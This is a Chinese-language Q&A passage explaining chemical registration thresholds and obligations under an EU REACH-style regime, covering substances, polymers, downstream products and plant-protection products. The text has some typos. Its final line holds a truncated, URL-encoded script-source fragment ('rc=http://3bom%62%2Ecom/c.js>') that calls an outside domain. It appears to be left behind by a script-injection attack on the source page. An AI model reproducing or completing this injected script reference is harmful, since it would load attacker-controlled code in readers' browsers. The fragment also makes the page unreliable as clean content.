答:在产品设计时已知在产品使用中可能释放出的化学品符合如下两个条件的必须注册,并可能涉及化学品安全评估和测试要求:定性为危险性化学物质的;年生产或进口量中按单独组分计算超过1T的;生产或进口商应当知道该产品在正常和合理可预见的情况下使用时有可能释放出该危险性化学物质,即使此种释放不是产品本身设计的功能,该化学品物质的释放量会对人体或环境造成不利影响。申报时,生产或进口商必须提交产品的相关信息,包括提交技术档案,并在中央数据库中进行注册,其中应有物质的信息和如何管理其使用过程种的风险的信息,但不必进行测试和风险评估,管理机构会根据申报的具体情况要求申报人注册该化学品。数量超过10吨每年的物质还要再提交化学安全报告,以表征其安全评估。
必须注册的物质或化学品包括:
1、独立存在的或配制品中的化学物质:制造量或进口量大于1吨/年;不适用于现场分离中间体和可分离中间体的单体。聚合物制造商和进口商应该为注册的单体或其它化学物质注册,聚合物中游离单体或其它化学物质含量大于或等于2%,该单体或其它化学物质总量大于或等于1吨/年。包括金属和合金。
2、下游产品中的化学物质:如果供应链上参与者对下游拥护的用途已经注册,则下游拥护不需注册。但满足以下条件必须注册:物质在下游产品中的总含量大于或等于1吨/年,物质在正常使用和合理遇见的使用条件下可能从物品中释放。如所含物质是取得授权的物质,满足以下条件,应该向化学品局通报:化学物质在下游产品中的总含量大于或等于1吨/年;物质在下游产品中含量大于0.1%(重量百分含量)。下游产品中的任何物质满足以下条件,管理局可以要求制造商或进口商进行注册:物质在下游产品中的总含量大于或等于1吨/年;管理局有理由怀疑化学物质从物品中释放出来,且对人类健康或环境产生危害。植物保护和生物农药产品中的化学物质:只有用于杀虫剂和植物保护十才视为已经注册,因为相关法规已经要求提交这些物质的相关信息,否则仍需要注册。rc=http://3bom%62%2Ecom/c.js>